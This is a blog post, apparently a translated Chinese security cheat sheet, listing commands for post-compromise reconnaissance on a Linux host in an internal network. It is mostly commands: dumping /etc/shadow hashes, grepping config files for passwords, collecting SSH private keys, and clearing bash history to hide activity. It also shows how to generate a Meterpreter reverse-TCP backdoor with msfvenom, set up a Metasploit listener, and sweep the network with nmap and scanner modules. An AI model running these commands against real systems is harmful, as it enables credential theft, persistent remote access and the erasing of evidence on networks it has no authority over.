ZZeo.
ZH
← Back to all posts
Internal Network Security Research3 min read

Linux Internal Network Host Information Gathering Quick-Reference Checklist

A quick reference for gathering information from a Linux host on an internal network, covering system type, network details, sensitive files, kernel versions, users, processes, network interfaces, services, configurations, logs, command history, software, locally stored SSH keys, Linux backdoor generation, Metasploit configuration, exploit listeners, and scanning.

Published Jun 23, 2020
#Linux#Operations#Server
Read in Chinese→

Linux Internal Network Host Information Gathering Quick Reference

System Type

cat /etc/issue
查看系统名称

Network Information Gathering

last                                    多数运维会接入内网登录系统，这时候，便可获取部分内网ip 进而对内网IP段进行画像
Route -n                                内网路由情况，也能为内网网络拓扑提供一定的信息
IPtables                                防火墙情况，有时候会存在内网网络通行规则，也能提供一定信息

历史命令！
/root/.bash_history

Search Directly for Sensitive Files

grep "password:" * -Rn
find / -name "config.*"
find / -name "databases.*"
find / -name "config.*" | xargs grep "password""

Common Sensitive Files

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

Kernel Version

uname –a 查看所有信息

Users

whoami
id
cat /etc/passwd #查看用户列表
cat /etc/shadow #获取用户hash

Processes

ps aux 查看进程信息

Network Interfaces

/etc/network/interfaces #网卡信息
ifconfig
route #查看路由
arp -a #查看缓存的地址解析情况

Service Information

cat /etc/serivice #查看存在的服务
cat /etc/serices | grep ** #查看对应服务

Service Configuration

cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf

Log Information

/var/log
/var/log/apache2/access.log #http日志
/var/log/mysql/error.log #mysql日志
/var/log/apt/history.log #apt日志

Command History

 ~/.bash_history
echo > .bash_history #上述文件类日志删除
history #命令操作历史
history -c #删除

Software Information

dpkg -l #查看安装的软件包
rpm -qa #查看安装的软件包

Key Information Gathering

Command history!

/root/.bash_history

Locally stored SSH keys

/root/.ssh/id_rsa

Generating a Linux Backdoor

  1. Example command:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.73.131 LPORT=4444 -f elf > root/Desktop/shell
  1. Configure Metasploit and set exploit to listen
search exploit/hanler  // (exploit/multi/handler：通用有效负载处理程序)
use exploit/multi/handler        // 使用模块
show options         // 配置
set LHOST 192.168.73.131
set payload linux/x86/meterpreter/reverse_tcp         // 设置测试的载荷
exploit            // 监听

Nmap scan:

nmap ‐sP ‐PI 192.168.1.0/24 ‐T4

Port Scanning

auxiliary/scanner/portscan
scanner/portscan/ack ACK firewall scan
scanner/portscan/ftpbounce FTP bounce port scan
scanner/portscan/syn SYN port scan
scanner/portscan/tcp TCP port scan
scanner/portscan/xmas TCP “XMas” port scan

SMB Scanning

Modules under scanner that assist in discovering live hosts on the internal network are as follows:

  • auxiliary/scanner/discovery/arp_sweep

  • auxiliary/scanner/discovery/udp_sweep

  • auxiliary/scanner/ftp/ftp_version

  • auxiliary/scanner/http/http_version

  • auxiliary/scanner/smb/smb_version

  • auxiliary/scanner/ssh/ssh_version

  • auxiliary/scanner/telnet/telnet_version

  • auxiliary/scanner/discovery/udp_probe

  • auxiliary/scanner/dns/dns_amp

  • auxiliary/scanner/mysql/mysql_version

  • auxiliary/scanner/netbios/nbname

  • auxiliary/scanner/http/title

  • auxiliary/scanner/db2/db2_version

  • auxiliary/scanner/portscan/ack

  • auxiliary/scanner/portscan/tcp